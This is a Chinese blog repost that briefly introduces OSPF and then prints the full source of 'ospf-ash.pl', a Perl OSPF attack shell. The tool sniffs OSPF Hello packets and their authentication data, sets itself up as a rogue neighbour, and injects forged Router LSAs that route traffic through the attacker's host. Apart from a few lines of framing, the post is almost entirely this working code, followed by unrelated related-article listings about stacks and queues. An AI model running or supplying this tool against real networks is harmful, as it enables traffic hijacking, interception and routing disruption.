OSPF协议栈的perl 脚本实现!

简介:
OSPF协议栈的perl 脚本实现!
现代中型或者大型规模企业应用比较多的是OSPF协议,当然如果都采用CISCO设备,我会更推荐EIGRP协议,因为快速的收敛特性!
OSPF协议非常复杂,其RFC2328就有1万多行!OSPF协议也相对很难理解。
 
本篇文章就通过一个老外写的OSPF perl脚本来分析一下部分的OSPF协议栈功能。并针对这个脚本做改变实现一个攻击测试。
 
如下就是OSPF perl脚本代码:
 
#!/usr/bin/perl
#
# $Id: ospf-ash.pl,v 1.9 2007/03/13 18:28:26 gomor Exp $
#
package Net::Attack::OSPF;
use strict;
use warnings;
our $VERSION = '0.16';
use Net::Frame::Device;
use Net::Frame::Dump::Online;
use Net::Frame::Simple;
use Net::Write::Layer2;
use Net::Frame::Layer qw(:subs);
use Net::Frame::Layer::ETH qw(:consts);
use Net::Frame::Layer::ARP qw(:consts);
use Net::Frame::Layer::IPv4 qw(:consts);
use Net::Frame::Layer::OSPF qw(:consts);
use Net::Frame::Layer::OSPF::Hello;
use Net::Frame::Layer::OSPF::DatabaseDesc;
use Net::Frame::Layer::OSPF::Lsa;
use Data::Dumper;
use Term::ReadLine;
use Time::HiRes qw(gettimeofday);
our $oDevice;
our $oWrite;
# To store OSPF parameters (areaId, ...)
our $Env = {
   routerPri    => 1,
   lsAge        => 200,
   areaId       => undef,
   networkMask  => undef,
   dr           => undef,
   bdr          => undef,
   neighborList => [],
   _neighbors   => [],
   state        => 'start',
};
# Will store ARP cache table
our $Mac = {};
sub init {
   my ($dev, $src, $mac) = @_;
   if ($dev) { $oDevice = Net::Frame::Device->new(dev => $dev) }
   else      { $oDevice = Net::Frame::Device->new              }
   $oDevice->ip($src)  if $src;
   $oDevice->mac($mac) if $mac;
   print "\n  -- OSPF Attack Shell - $VERSION --\n\n";
   print "Using device    : ".$oDevice->dev."\n";
   print "Using source IP : ".$oDevice->ip. "\n";
   print "Using source MAC: ".$oDevice->mac."\n";
   $oWrite = Net::Write::Layer2->new(dev => $oDevice->dev);
   $oWrite->open;
}
sub help {
   print
      "You can use the following functions:\n".
      "  listen()    wait for an OSPF Hello frame, get various variables\n".
      "  exchange()  become an OSPF neighbor with all available routers\n".
      "  lock()      keep regularly sending Hello frames\n".
      "  lsu_router(NETWORK,MASK)        inject a LSA Router\n".
      "";
}
sub _dumpCallListen {
   my ($h, $data) = @_;
   my $f = Net::Frame::Simple->newFromDump($h);
   if ($f->ref->{'OSPF'}) {
      my $packet = $f->ref->{'OSPF'}->packet;
      if ($packet->layer eq 'OSPF::Hello') {
         my $dr = $packet->designatedRouter
            if $packet->designatedRouter;
         my $bdr = $packet->backupDesignatedRouter
            if $packet->backupDesignatedRouter;
         my @nl;
         for ($packet->neighborList) {
            push @nl, $_ unless /^0.0.0.0$/;
         }
         # If there is only a DR, we add it to neighborList
         if (! $bdr || $bdr =~ /^0.0.0.0$/) { push @nl, $dr; }
         print "Hello from: ".$f->ref->{'IPv4'}->src."\n";
         print "Found: DR : $dr\n"  if $dr;
         print "Found: BDR: $bdr\n" if $bdr;
         print "Found: neighborList: @nl\n" if @nl;
         $Env->{dr}            = $dr  if $dr;
         $Env->{bdr}           = $bdr if $bdr;
         $Env->{neighborList}  = \@nl if @nl;
         $Env->{helloInterval} = $packet->helloInterval
            if $packet->helloInterval;
         $Env->{routerDeadInterval} = $packet->routerDeadInterval
            if $packet->routerDeadInterval;
         $Env->{networkMask} = $packet->networkMask
            if $packet->networkMask;
         $Env->{areaId} = $f->ref->{'OSPF'}->areaId
            if $f->ref->{'OSPF'}->areaId;
         $Env->{authType} = $f->ref->{'OSPF'}->authType
            if $f->ref->{'OSPF'}->authType;
         $Env->{authData} = $f->ref->{'OSPF'}->authData
            if $f->ref->{'OSPF'}->authData;
         printf "AuthType: 0x%02d\n", $Env->{authType}
            if $Env->{authType};
         printf "AuthData: %s\n", $Env->{authData}
            if $Env->{authData};
         $data->stop;
      }
   }
}
sub _updateNeighbors {
   my %neighbor;
   $neighbor{$Env->{dr}}  = '' if ($Env->{dr}  && $Env->{dr}  !~ /^0.0.0.0$/);
   $neighbor{$Env->{bdr}} = '' if ($Env->{bdr} && $Env->{bdr} !~ /^0.0.0.0$/);
   for (@{$Env->{neighborList}}) {
      #next if /^0.0.0.0$/;
      #next if 
/^@{[$oDevice->ip]}$/ ;
      $neighbor{$_} = '';
   }
   for (keys %neighbor) {
      delete $neighbor{$_} if (/^0.0.0.0$/ || 
/^@{[$oDevice->ip]}$/ );
   }
   $Env->{_neighbors} = [ keys %neighbor ];
}
sub listen {
   # Flush $Env vars
   $Env->{dr}           = undef;
   $Env->{bdr}          = undef;
   $Env->{neighborList} = [];
   $Env->{authType} = undef;
   $Env->{authData} = undef;
   my $oDump = Net::Frame::Dump::Online->new(
      dev       => $oDevice->dev,
      overwrite => 1,
      promisc   => 1,
   );
   $oDump->filter('dst host 224.0.0.5 and ip proto 0x59');
   $oDump->onRecv(\&_dumpCallListen);
   $oDump->onRecvData($oDump);
   $oDump->start;
   if ($Env->{dr} && $Env->{dr} !~ /^0.0.0.0$/) {
      $Mac->{$Env->{dr}} = $oDevice->lookupMac($Env->{dr});
   }
   if ($Env->{bdr} && $Env->{bdr} !~ /^0.0.0.0$/) {
      $Mac->{$Env->{bdr}} = $oDevice->lookupMac($Env->{bdr});
   }
   _updateNeighbors();
}
sub _ospfSend1 {
   my ($f) = @_;
   $f->send($oWrite);
}
sub _ospfSend {
   my ($f, $oDump, $recvFrom) = @_;
   my $recv;
   for (1..2) {  # Two retries
      $f->send($oWrite);
      until ($oDump->timeout) {
         if ($recv = $f->recv($oDump)) {
            my $dst = $f->ref->{'IPv4'}->dst;
            my $src = $recv->ref->{'IPv4'}->src;
            if ($recvFrom && ($src eq $recvFrom)) {
               last;
            }
            elsif ($dst eq '224.0.0.5' || $dst eq $src) {
               last;
            }
            $recv = undef;
         }
      }
      $oDump->timeoutReset;
      last if $recv;
   }
   $recv;
}
sub _getEthHdr {
   my ($dst) = @_;
   my $mac = ($Mac->{$dst} || $oDevice->lookupMac($dst)) if $dst;
   Net::Frame::Layer::ETH->new(
      src => $oDevice->mac,
      dst => $mac || NF_ETH_ADDR_BROADCAST,
   );
}
sub _getIpHdr {
   my ($src, $dst) = @_;
   Net::Frame::Layer::IPv4->new(
      noFixLen => 1,
      ttl      => 1,
      src      => $src,
      dst      => $dst || '224.0.0.5',
      protocol => NF_IPv4_PROTOCOL_OSPF,
   );
}
sub _getOspfHello {
   my $eth = _getEthHdr();
   my $ip  = _getIpHdr($oDevice->ip);
   my $ospf = Net::Frame::Layer::OSPF->new(
      type     => NF_OSPF_TYPE_HELLO,
      routerId => $oDevice->ip,
      areaId   => $Env->{areaId},
      authType => $Env->{authType},
      authData => $Env->{authData},
   );
   my $ospfHello = Net::Frame::Layer::OSPF::Hello->new(
      networkMask        => $Env->{networkMask},
      helloInterval      => $Env->{helloInterval},
      options            => NF_OSPF_HELLO_OPTIONS_E,
      routerPri          => $Env->{routerPri},
      routerDeadInterval => $Env->{routerDeadInterval},
      designatedRouter       => $Env->{dr},
      backupDesignatedRouter => $Env->{bdr} || '0.0.0.0',
      neighborList           => $Env->{neighborList},
   );
   $ospf->packet($ospfHello);
   $ospf->computeLengths;
   $ospf->computeChecksums;
   $ip->length($ip->length + $ospf->length);
   Net::Frame::Simple->new(layers => [ $eth, $ip, $ospf ]);
}
sub _getOspfDbd {
   my ($router, $flags, $seqnum, $lsa) = @_;
   my $eth = _getEthHdr($router);
   my $ip  = _getIpHdr($oDevice->ip, $router);
   my $ospf = Net::Frame::Layer::OSPF->new(
      type     => NF_OSPF_TYPE_DATABASEDESC,
      routerId => $oDevice->ip,
      areaId   => $Env->{areaId},
      authType => $Env->{authType},
      authData => $Env->{authData},
   );
   my $ospfDbd = Net::Frame::Layer::OSPF::DatabaseDesc->new(
      ddSequenceNumber => $seqnum || 4300,
      options          =>
         NF_OSPF_DATABASEDESC_OPTIONS_0|NF_OSPF_DATABASEDESC_OPTIONS_E,
      flags            => $flags ||
         (NF_OSPF_DATABASEDESC_FLAGS_I | NF_OSPF_DATABASEDESC_FLAGS_M |
         NF_OSPF_DATABASEDESC_FLAGS_MS),
   );
   $ospf->packet($ospfDbd);
   $ospf->computeLengths;
   $ospf->computeChecksums;
   $ip->length($ip->length + $ospf->length);
   $ospf->packet->lsaList([ $lsa ]) if $lsa;
   Net::Frame::Simple->new(layers => [ $eth, $ip, $ospf, ]);
}
sub _getLsaRouterHeader {
   Net::Frame::Layer::OSPF::Lsa->new(
      lsAge             => 92,
      options           => 0x02,
      lsType            => 0x01,
      linkStateId       => $oDevice->ip,
      advertisingRouter => $oDevice->ip,
      lsSequenceNumber  => 1,
   );
}
sub exchange {
   my ($router) = @_;
   my $oDump = Net::Frame::Dump::Online->new(
      dev           => $oDevice->dev,
      overwrite     => 1,
      promisc       => 1,
      timeoutOnNext => 2,
   );
   $oDump->filter('ip proto 0x59');
   $oDump->start;
   my $ospfHelloReply = _ospfSend(_getOspfHello(), $oDump, $router);
   die("No router listens") unless $ospfHelloReply;
   # We are in ExStart state
   for (@{$Env->{_neighbors}}) {
      next if /^0.0.0.0$/;
      # Then, DR sends DBD, we reply the same DBD
      my $ospfDbd      = _getOspfDbd($_);
      my $ospfDbdReply = _ospfSend($ospfDbd, $oDump);
      if (! $ospfDbdReply) {
         warn("$_: No DBD reply");
         next;
      }
      # We are in Exchange state
      # Now is Exchange state, we reply with received ddSeqNum + 1, flags M|MS,
      # and our Router-LSA header
      my $seqnum = $ospfDbdReply->ref->{'OSPF'}->packet->ddSequenceNumber + 1;
      my $flags  = NF_OSPF_DATABASEDESC_FLAGS_M | NF_OSPF_DATABASEDESC_FLAGS_MS;
      my $lsaRouter     = _getLsaRouterHeader();
      my $ospfDbd2      = _getOspfDbd($_, $flags, $seqnum, $lsaRouter);
      my $ospfDbd2Reply = _ospfSend($ospfDbd2, $oDump);
      if (! $ospfDbd2Reply) {
         warn("$_: No DBD2 reply");
         next;
      }
      # Last step before LS exchange, we reply to the "empty" request with
      # ddSeqNum +1, flags MS only
      $seqnum = $ospfDbd2Reply->ref->{'OSPF'}->packet->ddSequenceNumber + 1;
      $flags  = NF_OSPF_DATABASEDESC_FLAGS_MS;
      my $ospfDbd3      = _getOspfDbd($_, $flags, $seqnum);
      my $ospfDbd3Reply = _ospfSend($ospfDbd3, $oDump);
      if (! $ospfDbd3Reply) {
         warn("$_: No DBD3 reply");
         next;
      }
      print "$_: exchange complete\n";
   }
   # If there were no BDR, we are the new one
   if (! $Env->{bdr} || $Env->{bdr} =~ /^0.0.0.0$/) {
      $Env->{bdr} = $oDevice->ip;
   }
   _updateNeighbors();
   $Env->{neighborList} = [ @{$Env->{_neighbors}} ];
   push @{$Env->{neighborList}}, $oDevice->ip;
   $oDump->stop;
}
sub _getLsuNetwork {
   my ($linkStateId, $router, $netmask) = @_;
   my $eth = _getEthHdr();
   my $ip  = _getIpHdr($oDevice->ip);
   my $ospf = Net::Frame::Layer::OSPF->new(
      type     => NF_OSPF_TYPE_LINKSTATEUPDATE,
      routerId => $oDevice->ip,
      areaId   => $Env->{areaId},
      authType => $Env->{authType},
      authData => $Env->{authData},
   );
   my $lsa = Net::Frame::Layer::OSPF::Lsa->new(
      lsAge   => $Env->{lsAge},
      options => 0x02,
      lsType  => 0x02,
      linkStateId       => $linkStateId || $oDevice->ip,
      advertisingRouter => $oDevice->ip,
      lsSequenceNumber  => getRandom32bitsInt(),
   );
   my $lsaNetwork = Net::Frame::Layer::OSPF::Lsa::Network->new(
      netmask    => $netmask,
      routerList => [ $router, ],
   );
   $lsa->lsa($lsaNetwork);
   $lsa->computeLengths;
   $lsa->computeChecksums;
   my $ospfLsu = Net::Frame::Layer::OSPF::LinkStateUpdate->new(
      lsaNumber => 1,
      lsaList   => [ $lsa ],
   );
   $ospf->packet($ospfLsu);
   $ospf->computeLengths;
   $ospf->computeChecksums;
   $ip->length($ip->length + $ospf->length);
   Net::Frame::Simple->new(layers => [ $eth, $ip, $ospf ]);
}
sub _getLsuRouter {
   my ($network, $mask) = @_;
   my $eth = _getEthHdr();
   my $ip  = _getIpHdr($oDevice->ip);
   my $ospf = Net::Frame::Layer::OSPF->new(
      type     => NF_OSPF_TYPE_LINKSTATEUPDATE,
      routerId => $oDevice->ip,
      areaId   => $Env->{areaId},
      authType => $Env->{authType},
      authData => $Env->{authData},
   );
   my $lsa = Net::Frame::Layer::OSPF::Lsa->new(
      lsAge   => $Env->{lsAge},
      options => 0x22,
      lsType  => 0x01,
      linkStateId       => $oDevice->ip,
      advertisingRouter => $oDevice->ip,
      lsSequenceNumber  => getRandom32bitsInt(),
   );
   my $lsaRouter = Net::Frame::Layer::OSPF::Lsa::Router->new(
      flags => 0,
   );
   # To correctly send a router, we must first advertise the network/mask
   # In a stub network (type 0x03)
   my @linkList = ();
   push @linkList, Net::Frame::Layer::OSPF::Lsa::Router::Link->new(
      linkId   => $network,
      linkData => $mask,
      type     => 0x03,
      nTos     => 0,
      metric   => 10,
   );
   # Then, we MUST say which is the gateway, to the DR
   # Here, we say the gateway is our IP address to redirect 
   # trafic to us.
   push @linkList, Net::Frame::Layer::OSPF::Lsa::Router::Link->new(
      linkId   => $Env->{dr},
      linkData => $oDevice->ip,
      type     => 0x02,
      nTos     => 0,
      metric   => 10,
   );
   $lsaRouter->nLink(scalar @linkList);
   $lsaRouter->linkList(\@linkList);
   $lsa->lsa($lsaRouter);
   $lsa->computeLengths;
   $lsa->computeChecksums;
   my $ospfLsu = Net::Frame::Layer::OSPF::LinkStateUpdate->new(
      lsaNumber => 1,
      lsaList   => [ $lsa ],
   );
   $ospf->packet($ospfLsu);
   $ospf->computeLengths;
   $ospf->computeChecksums;
   $ip->length($ip->length + $ospf->length);
   Net::Frame::Simple->new(layers => [ $eth, $ip, $ospf ]);
}
sub lsu_network {
   my ($linkStateId, $router, $netmask) = @_;
   my $lsu = _getLsuNetwork($linkStateId, $router, $netmask);
   _ospfSend1($lsu);
}
sub lsu_router {
   my ($network, $mask) = @_;
   my $lsu = _getLsuRouter($network, $mask);
   _ospfSend1($lsu);
}
sub _getLsaAck {
   my ($request) = @_;
   my $eth = _getEthHdr();
   my $ip  = _getIpHdr($oDevice->ip);
   my $ospf = Net::Frame::Layer::OSPF->new(
      type     => NF_OSPF_TYPE_LINKSTATEACK,
      routerId => $oDevice->ip,
      areaId   => $Env->{areaId},
      authType => $Env->{authType},
      authData => $Env->{authData},
   );
   my $raw = '';
   for ($request->lsaList) {
      $_->lsa(undef);
      $raw .= $_->pack;
   }
   $ospf->packet($raw);
   $ospf->computeLengths;
   $ospf->computeChecksums;
   $ip->length($ip->length + $ospf->length);
   Net::Frame::Simple->new(layers => [ $eth, $ip, $ospf, ]);
}
sub _dumpCallOnRecv {
   my ($h, $data) = @_;
   my $frame = Net::Frame::Simple->newFromDump($h);
   if ($frame->ref->{'OSPF'}) {
      my $packet = $frame->ref->{'OSPF'}->packet;
      if ($packet) {
         # If a LSU frame is seen, we must acknowledge it
         if ($packet->layer eq 'OSPF::LinkStateUpdate') {
            _ospfSend1(_getLsaAck($packet));
         }
         # If a Hello frame is seen, we send one, to keep behing in neighborhood
         elsif ($packet->layer eq 'OSPF::Hello') {
            _ospfSend1(_getOspfHello());
         }
      }
   }
}
sub lock {
   my $pid = fork();
   die("fork: $!") unless defined($pid);
   if ($pid) { # Parent process
      return 1;
   }
   else { # Child process
      close(STDIN);
      close(STDOUT);
      close(STDERR);
      my $oDumpChild = Net::Frame::Dump::Online->new(
         overwrite => 1,
         promisc   => 1,
         dev       => $oDevice->dev,
         filter    => 'ip proto 0x59 '.
                      'and not src host '.$oDevice->ip,
         onRecv    => \&_dumpCallOnRecv,
      );
      $oDumpChild->start;
      $oDumpChild->stop;
      exit(0);
   }
}
sub ash {
   my ($dev, $src, $mac) = @_;
   init($dev, $src, $mac);
   my $prompt = 'ash> ';
   my $name   = 'ASH';
   my $term   = Term::ReadLine->new($name);
   $term->ornaments(0);
   {
      no strict;
      while (1) {
         if (my $line = $term->readline($prompt)) {
            $line =~ s/^\s*listen\s*$/Net::Attack::OSPF::listen/;
            eval($line);
            warn($@) if $@;
            print "\n";
         }
      }
   }
   print "\n";
}
1;
package main;
my $dev = shift;
my $src = shift;
my $mac = shift;
Net::Attack::OSPF::ash($dev, $src, $mac);
1;
__END__
=head1 NAME
ospf-ash - Net::Frame based OSPF Attack Shell tool
=head1 AUTHOR
Patrice E<lt>GomoRE<gt> Auffret
=head1 COPYRIGHT AND LICENSE
Copyright (c) 2007, Patrice E<lt>GomoRE<gt> Auffret
You may distribute this module under the terms of the Artistic license.
See LICENSE.Artistic file in the source distribution archive.
=cut


本文转自jasonccier 51CTO博客,原文链接:http://blog.51cto.com/jasonccie/393110,如需转载请自行联系原作者
相关文章
|
1月前
|
编译器 C语言 C++
栈区的非法访问导致的死循环(x64)
这段内容主要分析了一段C语言代码在VS2022中形成死循环的原因,涉及栈区内存布局和数组越界问题。代码中`arr[15]`越界访问,修改了变量`i`的值,导致`for`循环条件始终为真,形成死循环。原因是VS2022栈区从低地址到高地址分配内存,`arr`数组与`i`相邻,`arr[15]`恰好覆盖`i`的地址。而在VS2019中,栈区先分配高地址再分配低地址,因此相同代码表现不同。这说明编译器对栈区内存分配顺序的实现差异会导致程序行为不一致,需避免数组越界以确保代码健壮性。
24 0
栈区的非法访问导致的死循环(x64)
232.用栈实现队列,225. 用队列实现栈
在232题中,通过两个栈(`stIn`和`stOut`)模拟队列的先入先出(FIFO)行为。`push`操作将元素压入`stIn`,`pop`和`peek`操作则通过将`stIn`的元素转移到`stOut`来实现队列的顺序访问。 225题则是利用单个队列(`que`)模拟栈的后入先出(LIFO)特性。通过多次调整队列头部元素的位置,确保弹出顺序符合栈的要求。`top`操作直接返回队列尾部元素,`empty`判断队列是否为空。 两题均仅使用基础数据结构操作,展示了栈与队列之间的转换逻辑。
|
6月前
|
存储 C语言 C++
【C++数据结构——栈与队列】顺序栈的基本运算(头歌实践教学平台习题)【合集】
本关任务:编写一个程序实现顺序栈的基本运算。开始你的任务吧,祝你成功!​ 相关知识 初始化栈 销毁栈 判断栈是否为空 进栈 出栈 取栈顶元素 1.初始化栈 概念:初始化栈是为栈的使用做准备,包括分配内存空间(如果是动态分配)和设置栈的初始状态。栈有顺序栈和链式栈两种常见形式。对于顺序栈,通常需要定义一个数组来存储栈元素,并设置一个变量来记录栈顶位置;对于链式栈,需要定义节点结构,包含数据域和指针域,同时初始化栈顶指针。 示例(顺序栈): 以下是一个简单的顺序栈初始化示例,假设用C语言实现,栈中存储
303 77
|
5月前
|
算法 调度 C++
STL——栈和队列和优先队列
通过以上对栈、队列和优先队列的详细解释和示例,希望能帮助读者更好地理解和应用这些重要的数据结构。
84 11
|
5月前
|
DataX
☀☀☀☀☀☀☀有关栈和队列应用的oj题讲解☼☼☼☼☼☼☼
### 简介 本文介绍了三种数据结构的实现方法:用两个队列实现栈、用两个栈实现队列以及设计循环队列。具体思路如下: 1. **用两个队列实现栈**: - 插入元素时,选择非空队列进行插入。 - 移除栈顶元素时,将非空队列中的元素依次转移到另一个队列,直到只剩下一个元素,然后弹出该元素。 - 判空条件为两个队列均为空。 2. **用两个栈实现队列**: - 插入元素时,选择非空栈进行插入。 - 移除队首元素时,将非空栈中的元素依次转移到另一个栈,再将这些元素重新放回原栈以保持顺序。 - 判空条件为两个栈均为空。
|
6月前
|
存储 C++ 索引
【C++数据结构——栈与队列】环形队列的基本运算(头歌实践教学平台习题)【合集】
【数据结构——栈与队列】环形队列的基本运算(头歌实践教学平台习题)【合集】初始化队列、销毁队列、判断队列是否为空、进队列、出队列等。本关任务:编写一个程序实现环形队列的基本运算。(6)出队列序列:yzopq2*(5)依次进队列元素:opq2*(6)出队列序列:bcdef。(2)依次进队列元素:abc。(5)依次进队列元素:def。(2)依次进队列元素:xyz。开始你的任务吧,祝你成功!(4)出队一个元素a。(4)出队一个元素x。
223 13
【C++数据结构——栈与队列】环形队列的基本运算(头歌实践教学平台习题)【合集】
|
6月前
|
存储 C语言 C++
【C++数据结构——栈与队列】链栈的基本运算(头歌实践教学平台习题)【合集】
本关任务:编写一个程序实现链栈的基本运算。开始你的任务吧,祝你成功!​ 相关知识 初始化栈 销毁栈 判断栈是否为空 进栈 出栈 取栈顶元素 初始化栈 概念:初始化栈是为栈的使用做准备,包括分配内存空间(如果是动态分配)和设置栈的初始状态。栈有顺序栈和链式栈两种常见形式。对于顺序栈,通常需要定义一个数组来存储栈元素,并设置一个变量来记录栈顶位置;对于链式栈,需要定义节点结构,包含数据域和指针域,同时初始化栈顶指针。 示例(顺序栈): 以下是一个简单的顺序栈初始化示例,假设用C语言实现,栈中存储整数,最大
118 9
|
6月前
|
C++
【C++数据结构——栈和队列】括号配对(头歌实践教学平台习题)【合集】
【数据结构——栈和队列】括号配对(头歌实践教学平台习题)【合集】(1)遇到左括号:进栈Push()(2)遇到右括号:若栈顶元素为左括号,则出栈Pop();否则返回false。(3)当遍历表达式结束,且栈为空时,则返回true,否则返回false。本关任务:编写一个程序利用栈判断左、右圆括号是否配对。为了完成本关任务,你需要掌握:栈对括号的处理。(1)遇到左括号:进栈Push()开始你的任务吧,祝你成功!测试输入:(()))
167 7
|
8月前
|
存储 缓存 算法
在C语言中,数据结构是构建高效程序的基石。本文探讨了数组、链表、栈、队列、树和图等常见数据结构的特点、应用及实现方式
在C语言中,数据结构是构建高效程序的基石。本文探讨了数组、链表、栈、队列、树和图等常见数据结构的特点、应用及实现方式,强调了合理选择数据结构的重要性,并通过案例分析展示了其在实际项目中的应用,旨在帮助读者提升编程能力。
195 5
|
8月前
|
算法
数据结构之购物车系统(链表和栈)
本文介绍了基于链表和栈的购物车系统的设计与实现。该系统通过命令行界面提供商品管理、购物车查看、结算等功能,支持用户便捷地管理购物清单。核心代码定义了商品、购物车商品节点和购物车的数据结构,并实现了添加、删除商品、查看购物车内容及结算等操作。算法分析显示,系统在处理小规模购物车时表现良好,但在大规模购物车操作下可能存在性能瓶颈。
180 0